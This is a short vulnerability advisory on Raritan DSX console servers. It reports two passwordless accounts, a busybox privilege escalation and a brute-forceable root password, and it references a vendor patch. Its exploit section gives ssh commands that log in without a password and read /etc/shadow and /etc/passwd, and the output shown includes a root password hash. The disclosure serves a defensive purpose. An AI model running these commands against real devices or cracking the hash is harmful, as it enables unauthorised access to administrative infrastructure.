Two vulnerabilities were discovered in Raritan's console server solutions. DETAILS Vulnerable Systems: * DSX16, DSX32, DSX4, DSX8, DSXA-48 (Mips and Intel) DSX Raritan Console Servers come with two accounts that do not have a password. Normal users are not supposed to get access to the underlying Linux, but they can use the busybox environment to gain elevated privileges. Further the password used to protect the root password can be cracked by utilizing brute forcing techniques. Patch Availability: After reporting it to Raritan has released a fix: <http://www.raritan.com/support/sup_upgrades.aspx> http://www.raritan.com/support/sup_upgrades.aspx Exploit: %ssh dominion@ ls -l / [..shows listing..] %ssh dominion@ ls -ln /etc/shadow -rw-r--r-- 1 0 0 360 Jun 28 05:09 /etc/shadow %ssh dominion@ cat /etc/shadow root:DX8k7w4C2gJ2g:10933:0:99999:7::: bin:*:10933:0:99999:7::: daemon:*:10933:0:99999:7::: adm:*:10933:0:99999:7::: lp:*:10933:0:99999:7::: sync:*:10933:0:99999:7::: shutdown:*:10933:0:99999:7::: halt:*:10933:0:99999:7::: uucp:*:10933:0:99999:7::: operator:*:10933:0:99999:7::: nobody:*:10933:0:99999:7::: dominion::12962:0:99999:7::: sshd::12962:0:99999:7::: %ssh dominion@ cat /etc/passwd | tail -2 dominion:x:500:500:Embedix User,,,:/home/dominion:/bin/sh sshd:x:501:501:Embedix User,,,:/home/sshd:/bin/sh %ssh sshd@ ls indexApp.htm %ssh sshd@ ls -l /bin/busybox -rwxrwxrwx 1 root root 193852 Apr 4 2004 /bin/busybox ADDITIONAL INFORMATION The information has been provided by <http://drwetter.org> Dr. Dirk Wetter.
